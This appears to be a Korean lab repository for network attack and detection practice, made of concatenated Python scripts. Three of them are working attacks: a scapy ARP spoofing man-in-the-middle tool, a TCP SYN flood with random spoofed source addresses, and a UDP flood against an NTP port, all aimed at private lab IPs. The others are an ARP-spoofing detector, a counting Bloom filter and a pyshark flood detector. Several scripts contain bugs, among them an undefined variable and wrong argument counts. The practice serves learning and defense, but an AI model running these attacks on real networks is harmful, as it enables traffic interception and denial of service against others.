ReyDePlata

간단한 공격 및 탐지 실습

from time import sleep
from scapy.layers.inet import IP
from scapy.layers.l2 import Ether, ARP
from scapy.sendrecv import *
def getMAC(ip):
answered, unanswered=srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=5, retry=3)
for s, r in answered:
return r.sprintf('%Ether.src%')
def poisonARP(srcip, targetip, targetmac):
arp=ARP(op=2, psrc=srcip, pdst=targetip, hwdst=targetmac)
send(arp)
def restoreARP(victimip, gatewayip, victimmac, gatewaymac):
arp1=ARP(op=2, pdst=victimip, psrc=gatewayip, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=gatewaymac)
arp2=ARP(op=2, pdst=gatewayip, psrc=victimip, hwdst='ff:ff:ff:ff:ff:ff', hwsrc=victimmac)
send(arp1,count=3)
send(arp2,count=3)
def main():
gatewayip='192.168.219.1'
victimip='192.168.219.102'
victimmac=getMAC(victimip)
gatewaymac=getMAC(gatewayip)
if victimmac == None or gatewaymac == None:
print('MAC 주소를 찾을 수 없습니다')
return
print('ARP spoofing Start -> VICTIM IP [%s]' %victimip)
print('[%s]:POISON ARP table [%s] -> [%s]' %(victimip,gatewaymac,victimmac))
try:
while True:
poisonARP(gatewayip,victimip,victimmac)
poisonARP(victimip,gatewayip,gatewaymac)
sleep(3)
except KeyboardInterrupt:
restoreARP(victimip,gatewayip,victimmac,gatewaymac)
print('ARP spoofing finished -> RESTORED ARP Table')
if __name__=='__main__':
main()
from scapy.all import *
'''from scapy.layers.inet import TCP, UDP, ICMP, IP
from scapy.layers.l2 import Ether
from scapy.config import conf, ConfClass
from scapy.sendrecv import *
'''
import os
import random
def RunFlood(vic_ip, vic_port, pkt_count):
port = vic_port
for i in range(0, pkt_count):
pkt_IP = IP()
pkt_IP.src = "%i.%i.%i.%i" % (random.randint(1,255),random.randint(1,255),random.randint(1,255), random.randint(1,255))
pkt_IP.dst = vic_ip
pkt_TCP = TCP()
pkt_IP.sport = RandShort()
pkt_IP.dport = vic_port
pkt_TCP.flags = 'S'
raw = Raw(b"N"*1024) # payload
packet = pkt_IP/pkt_TCP/raw
send(packet,verbose=0)
print(pkt_IP.src, " to ", pkt_IP.dst)
print(x, "packets Sent.")
def main():
RunFlood("192.168.219.110", 8080, 1000)
if __name__ == "__main__":
main()
import time
import socket
import random
import sys
VICTIM_SERVER_IP="192.168.219.102"
PORT_NUMBER = 123 # UDP방식 중 하나인 NTP서비스
duration = 10 # 공격지속시간 10초
client=socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes=random._urandom(1024) # 무작위 패킷내용 생성을 위한 난수
timeout = time.time() + duration # duration 초과 여부 확인용
sent = 0
while True:
if time.time() > timeout:
break
else:
pass
client.sendto(bytes, (VICTIM_SERVER_IP, PORT_NUMBER))
sent = sent + 1
print("UDP Flooding Attack Start: " + str(sent) + " sent packets " + VICTIM_SERVER_IP + " At the port " + str(PORT_NUMBER))
import scapy.all as scapy
def get_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_request_broadcast = broadcast/arp_request
answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
return answered_list[0][1].hwsrc
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=proccess_sniffed_packet)
def proccess_sniffed_packet(packet):
if packet.haslayer(scapy.ARP) and packet[scapy.ARP].op == 2:
try:
real_mac = get_mac(packet[scapy.ARP].psrc)
response_mac = packet[scapy.ARP].hwsrc
if real_mac != response_mac:
print("ARP Spoofing Detected.")
except IndexError:
pass
sniff("wlan0")
import hashlib
import math
import random
from fnvhash import fnv1a_32 as fnv
from fnvhash import fnv1_32 as f32
import sys
import threading
class Counting_bloom_filter(object):
def __init__(self, elem_num, p): # elem_num : 삽입하고자 하는 원소 개수
self.elem_num = elem_num
self.positive = p # false-positive 비율
self.generate_parameter()
self.init_bf()
def generate_parameter(self):
self.length = math.ceil(-(self.elem_num* math.log(self.positive))/((math.log(2)) ** 2)) # 배열 길이
self.hash_num = math.ceil((self.length/self.elem_num)*math.log(2)) #
def init_bf(self):
self.c_bf = [0] * self.length # array의 모든 원소에 대한 count는 0으로 초기화
def insert_to_cbf(self, val):
keytable = []
loc1 = self.hash_func1(val)
self.c_bf[loc1] += 1
keytable.append(self.c_bf[loc1])
loc2 = self.hash_func2(val)
self.c_bf[loc2] += 1
keytable.append(self.c_bf[loc2])
loc3 = self.hash_func3(val)
self.c_bf[loc3] += 1
keytable.append(self.c_bf[loc3])
return min(keytable)
def add_to_cbf(self, val): # cbf에 원소 삽입
# 최적의 해시 개수 hash_num에 대하여
# 3개라 가정하면, i값은 0~2까지
# 이 i값을 seed값 삼아 동일 sha1함수에 다른 seed값 부여하고 연산 진행
# 연산 결과 나온 key값이 loc, CBF 배열의 loc번째 인덱스에 increment연산 진행
# return값: 해당 값(0~threshold값 까지의 정수)
for i in range(self.hash_num):
loc = self.hash_func3(val, i+1)
self.c_bf[loc] += 1
return self.c_bf[loc]
def hash_func1(self, val): #fnv32-1a
hashedVal = fnv(val.encode('utf-8'))
return hashedVal % self.length
def hash_func2(self, val): #MD5
MD5 = hashlib.md5()
MD5.update(val.encode('utf-8'))
hashedVal = int(MD5.hexdigest(), 16)
return hashedVal % self.length
def hash_func3(self, val): #sha1
sha1 = hashlib.sha1()
sha1.update(str(val).encode('utf-8'))
val = int(sha1.hexdigest(), 16)
return val % self.length
def main():
a = Counting_bloom_filter(100,0.001) # 100개 ip주소를 cbf에 삽입, 원하는 이론상의 최대 false positive 수치: 0.1%
print(a.length) # 이 때의 배열의 길이
print(a.insert_to_cbf('172.14.2.48'))
print(a.hash_func1('172.14.2.48'))
print(a.hash_func2('172.14.2.48'))
print(a.hash_func3('172.14.2.48'))
#sh = hashlib.sha1() # ip주소의 경우에 적절치 못함(리턴하는 값이 너무 큼)
#re = sh.update('172.14.2.48'.encode('utf-8'))
#re = int(sh.hexdigest(), 16) * a.hash_num
#print(re%a.length)
#print(a.look_up(10))
#a.add_to_cbf(10)
if __name__ == '__main__': main()
\ No newline at end of file
import pyshark as pyshark
import os
import subprocess
import CBF2 as CBF
import threading
import time
import schedule
#pps_threshold 설정 필요
def LiveSniffer(net_interface, cbf):
capture = pyshark.LiveCapture(interface=net_interface, bpf_filter= 'dst 192.168.219.110 && tcp') # 캡쳐 프로세스 생성
capture.set_debug()
for packet in capture.sniff_continuously():
PktFiltering(packet, cbf)
def PktFiltering(pkt, filter): # 패킷의 src IP address를 기반으로 flooding 공격 탐지(packet per second)
print(pkt.ip.src, " to ", pkt.ip.dst)
count = filter.insert_to_cbf(pkt.ip.src) # 해시결과들 중 최소값 리턴
print(count)
if count > 10: # cbf에 10 이상의 값이 매핑되어 있을 때 (threshold)
print("Anomal packet flow detected. source IP: ", pkt.ip.src, ", Suspicious Alert")
def CntDecrement(c_bf):
for k in range (len(c_bf)):
if c_bf[k]:
c_bf[k] -= 1
else:
continue
print("Dec all completed.")
def main():
print("capturing start")
try:
capture = pyshark.LiveCapture(interface='wlp2s0', bpf_filter='tcp', display_filter= 'ip.dst == 192.168.219.100') # 캡쳐 프로세스 생성
#capture.set_debug()
filter = CBF.Counting_bloom_filter(8000, 0.01) # CBF 초기화
print("CB-Filter Length: ", filter.length)
schedule.every(0.008).seconds.do(CntDecrement, filter.c_bf)
for packet in capture.sniff_continuously():
PktFiltering(packet, filter)
schedule.run_pending()
except KeyboardInterrupt:
print("\nPressed Ctrl+C: End Capturing")
if __name__ == "__main__":
main()